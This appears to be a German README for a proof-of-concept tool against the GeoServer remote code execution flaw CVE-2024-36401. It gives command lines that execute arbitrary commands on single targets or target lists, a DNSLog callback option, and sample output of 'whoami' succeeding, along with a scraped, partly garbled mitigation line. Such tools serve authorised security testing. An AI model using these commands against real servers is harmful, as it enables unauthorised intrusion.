
Dieses Skript ist ein PoC (Proof of Concept)-Erkennungstool, das für die Remote-Codeausführungsschwachstelle (CVE-2024-36401) in GeoServer entwickelt wurde. Diese Schwachstelle ermöglicht es Angreifern, durch das Erstellen spezifischer Anfragen beliebige Befehle auf dem Zielserver auszuführen.
⚠️ Haftungsausschluss: Dieses Tool dient ausschließlich zu Sicherheitsforschungs- und legalen autorisierten Testzwecken. Es darf nicht für illegale Zwecke verwendet werden. Der Benutzer trägt die rechtliche Verantwortung selbst.
README Version: [English | 中文]
Dieses Skript ist ein PoC-Erkennungstool (Proof of Concept) für die Remote-Code-Ausführungsschwachstelle (CVE-2024-36401) in GeoServer. Diese Schwachstelle ermöglicht es Angreifern, durch das Senden speziell konstruierter Anfragen beliebige Befehle auf dem Zielserver auszuführen.
Stelle sicher, dass die folgenden Abhängigkeiten in deiner Laufzeitumgebung installiert sind:
requestslxmlInstalliere die benötigten Abhängigkeiten mit folgendem Befehl:
pip install requests lxml
python poc.py -u http://target.com -d dnslog.example.com
Oder einen auszuführenden Befehl angeben:
python poc.py -u http://target.com -c "touch /tmp/vulntest"
Bereite eine Textdatei mit mehreren Ziel-URLs vor (eine pro Zeile):
python poc.py -uf targets.txt -d dnslog.example.com
Oder einen Befehl angeben:
python poc.py -uf targets.txt -c "id"
Ausführliche Nutzungshinweise: Detaillierte Nutzungsdokumentation
⚠️ Hinweis: Die Parameter
-dund-ckönnen nicht gleichzeitig verwendet werden.
[INFO] 3 gültige Typenamen gefunden, starte Schwachstellenerkennung
[INFO] Ziel: http://example.com
[INFO] Ausführbarer Befehl: whoami
[INFO] DNSLOG-Adresse:
[INFO] Versuche typeName: topp:states -> whoami
[+] Befehl scheint erfolgreich ausgeführt worden zu sein! Ziel: http://example.com Befehl: whoami
-c./geoserver/wfs einzuschränken.Issue- oder Pull-Request-Beiträge zur Verbesserung dieses Projekts sind willkommen.
Dieses Projekt ist unter der MIT-Lizenz lizenziert. Du darfst es frei modifizieren, verteilen und kommerziell nutzen, musst jedoch den Urheberrechtshinweis beibehalten.
| Parameter | Beschreibung |
|---|
-u, --url | Gibt eine einzelne Zieladresse an |
-uf, --url-file | Gibt den Pfad zu einer Datei mit mehreren Ziel-URLs an |
-d, --dnslog | Gibt die DNSLog-Adresse an |
-c, --command | Gibt den Befehl an, der auf dem Zielsystem ausgeführt werden soll (z. B. whoami, id, curl) |